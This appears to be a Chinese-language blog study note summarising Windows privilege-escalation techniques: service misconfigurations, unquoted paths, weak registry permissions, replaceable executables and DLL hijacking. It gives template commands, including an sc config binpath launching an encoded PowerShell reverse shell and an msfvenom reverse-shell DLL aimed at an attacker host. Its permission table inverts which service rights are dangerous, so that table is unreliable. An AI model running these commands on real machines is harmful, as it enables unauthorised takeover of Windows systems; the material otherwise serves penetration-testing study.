Day35 - Windows 提权(6)-提权手法统整 Kernel Exploits vs Services Exploits

以图卡的方式统整一下 Windows 提权手法:

Kernel Exploits vs Services Exploits

Kernel Exploits
透过系统核心版本,找到已知漏洞或 payload 进行攻击後,因为系统核心有管理权限可以控制作业系统,因此可以透过核心进行攻击并取得管理权。

Services Exploits
透过目前执行在後台的执行绪/服务,因为设定错误且以系统权限进行部属,导致提升权限到 SYSTEM 权限与控制指令。

利用 Services Exploits 进行攻击

以下为常见的范例:
Insecure Service Properties
Unquoted Service Path
Weak Registry Permissions
Insecure Service Executables
DLL Hijacking

Insecure Service Properties

Windows 中有一个机制叫做 ACL 可以规定使用者对档案的权限。

权限 说明
无害 SERVICE_CHANGE_CONFIG,SERVICE_CHANGE_CONFIG
有用 SERVICE_STOP,SERVICE_START
危险 SERVICE_QUERY_CONFIG,SERVICE_QUERY_STATUS

如果我们有权限可以修改 SYSTEM 权限底下的设定资讯,就可以去修改该服务的 binary 路径。

重新设定路径
sc config <服务名称> binpath= "\"C:\demo\test.exe\""

也可以透过 powershell 进行 revershell 指令,并透过 base64 编码可以避免单引号和双引号的问题。
sc config <服务名称> binpath= "cmd /c powershell -EncodedCommand <Base64编码过的指令>"

Unquoted Service Path

有些资料夹具有空白,执行指令的时候没有将这些路径透过双引号,就会被用来执行恶意的档案。

透过 winpeas winpeas.exe quiet servicesinfo 可以在结果中找到 Interesting Services -non Microsoft 发现 No quotes and Space detected 可能找到可能利用的路径。

Weak Registry Permissions

Windows 注册表中存在服务的值,也会透过 ACL 进行管理权限,如果 ACL 权限设定错误,即使无法直接修改服务,但可以修改服务的参数设定。

透过 winpeas winpeas.exe quiet servicesinfo 可以在结果中找到 Check of ypu can modify the registry of a service 发现可利用的注册表路径。

主要要找 NT AUTHORITY\INTERACTIVE 权限 Allow FullControl

找到之後修改成恶意路径
reg add <注册表路径> /v <路径参数> /t <注册表格式> /d <恶意程序路径> /f

Insecure Service Executables

直接修改原始服务的路径。

透过 winpeas winpeas.exe quiet servicesinfo 可以在结果中找到 Interesting Services -non Microsoft 发现 File Permissions: Everyone [AllAccess]

copy /Y "<恶意档案路径>" "<原始档案路径>"

DLL Hijacking

载入 DLL 时,不管提供什麽功能的 DLL 都会以载入的服务权限来执行,如果 DLL 透过绝对路径进行载入,而这个路径资料夹我们也可以进行写入的话,可以用来提升权限。

透过 winpeas winpeas.exe quiet servicesinfo 可以在结果中找到 Interesting Services -non Microsoft 发现 Check for DLL Hijkong in Path folders

可以在该目标上传恶意的 dll 如下
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<攻击主机IP> LPORT=<攻击主机port> -f dll -o hijack.dll


<<:  [Day31] 新的开始

>>:  JS 35 - 用 input 选择图片後显示预览图

学习使用 Node 和 React 进行全栈开发

网站涵盖了商业网点提供的一系列有益健康的设施和功能。无论是教育、新闻、博客还是电子商务商品,在线门...

[Python 爬虫这样学,一定是大拇指拉!] DAY06 - URL / URN / URI (2)

虽然 URN 跟後面的爬虫没什麽关系,既然前篇文章都提到了,就稍微介绍一下它的语法好了。 URI 之...

[ JS个人笔记 ] Event Loop事件循环—DAY11

理解js单执行绪&非同步运行机制 由於js为单执行绪,也就是一次只处理一件事情并依序执行,但...

[DAY 9] _I²C协议介绍

现在有不少的sensor传输都是用I2C协议在做传输的,在教学用I²C如何撰写前,我认为要先了解协议...

RISC-V on Rust 从零开始(4) - Rust 测试工具

这次要来谈的是Rust的测试框架,并且重新调整目录架构。 撰写测试 Rust本身就自带测试框架,无须...